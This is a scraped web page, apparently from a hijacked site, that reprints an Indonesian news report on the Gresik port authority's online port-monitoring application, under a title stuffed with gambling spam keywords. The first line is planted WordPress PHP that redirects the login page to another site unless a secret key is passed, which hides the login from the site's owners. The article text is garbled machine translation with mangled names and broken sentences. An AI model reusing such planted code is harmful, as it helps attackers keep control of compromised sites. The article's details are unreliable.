//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Kementerian Perhubungan meluncurkan aplikasi online untuk memantau aktivitas pelabuhan "SIG" | s1288 net_sabung ayam online s128_sv388

TRIBUNNEWS.COM, GRESIK-Kementerian Perhubungan yang diwakili oleh Administrasi Umum Angkutan Laut melalui Otoritas Pelabuhan Sekunder Gresik dan Kantor Harbourmaster meluncurkan program pemantauan aktivitas pelabuhan secara online di Pelabuhan Gresik. -Meluncurkan aplikasi bernama “Giri Indera Samudera (GIS)”, yang sebenarnya dilakukan oleh R Agus H Purnomo, General Manager Angkutan Laut, melalui aplikasi online meeting yang disediakan oleh perwakilan Pemerintah Kabupaten Gresik dan pejabat Tata Usaha Umum Pertemuan tersebut dihadiri oleh Kepala UPT Jawa Timur, Kepala Dinas Pelayaran, instansi pemerintah dan pemangku kepentingan terkait. Di wilayah Gresik, Pimpinan TUKS dan Pimpinan Daerah Gresik.

Menurut R Agus H Purnomo, Direktur Jenderal Angkutan Laut, ini pertama kalinya de Gresik meluncurkan program pemantauan aktivitas pelabuhan di kawasan pelabuhan dan menjadi pilot project pemantauan online aktivitas pelabuhan di Indonesia. -Dalam tahap awal, fokusnya adalah memantau kegiatan pelabuhan berdasarkan Sistem Informasi Geografis Pelabuhan Gresik, dan akan diimplementasikan di tingkat nasional di masa mendatang dan terintegrasi dengan sistem layanan yang ada (seperti “Inaportnet”). -Di era Industri 4.0, terobosan ini sangat cocok untuk kantor KSOP Gresik Kelas II sebagai lembaga pengawas pelabuhan Gresik, menggunakan teknologi informasi untuk memberikan pelayanan dan memantau aktivitas pelabuhan melalui CCTV yang terintegrasi di ruang kendali KSOP.

“Mengingat keterbatasan sumber daya manusia dan luasnya wilayah pengawasan di kawasan pelabuhan Gresik, maka sangat tepat untuk memulai aplikasi GIS ini. Langkah ini harus memungkinkan layanan kata Argus.” Pada saat yang sama, Otoritas Pelabuhan Kras dan Manajemen Pelabuhan Kepala Kantor Biro II Gresik R Totok Mukarto dalam laporannya mengatakan bahwa mpaikan, aplikasi SIG ini merupakan rencana aksi perubahan Kepala Dinas KSOP kategori II, dan temanya didasarkan pada sistem informasi geografis pelabuhan Gresik, peningkatan pelayanan dan Pantau aktivitas pelabuhan.

Totok mengatakan saat ini terdapat 12 Terminal Kepentingan Pribadi (TUKS) dan 4 Badan Usaha Pelabuhan Komersial (BUP) di kawasan pelabuhan Gresik.

Untuk TUKS khususnya PT. Jasa Mulia Abadi raya, PT. Triplek Sumber Mas Indah, PT. Galangan kapal Marina Marina di Indonesia. Indonesia William Nabati (Wilmar Nabati), PT. Indonesia, Semen Delta Artha Bahari Nusanatara, PT. Jawa Bali, Pengbang Pantai Utara, PT. Pertamina Bintumen Gresik, PT. Petrokimia Gresik, PT Foundry, PT. Karya Indah Alam Sejahtera, PT. Galangan Kapal Orela.

Entitas pelabuhan komersial adalah PT. Perusahaan cabang Pelindo III Gresik, PT. Gresik Jasa Tama, PT Siam Maspion Pier dan PT. Berlian Manyar berkembang pesat. “Dengan melihat jumlah terminal dan badan usaha pelabuhan yang mementingkan diri sendiri di wilayah kerja kantor KSOP Gresik II, serta minimnya sumber daya manusia, KSOP Gresik II telah mencapai terobosan dan dapat diawasi secara maksimal. Kegiatan kepelabuhanan ada di TUKS dan BUP Carilah layanan yang lebih baik, “Tutup Totok. (*)

Add Comment

Your email address will not be published. Required fields are marked *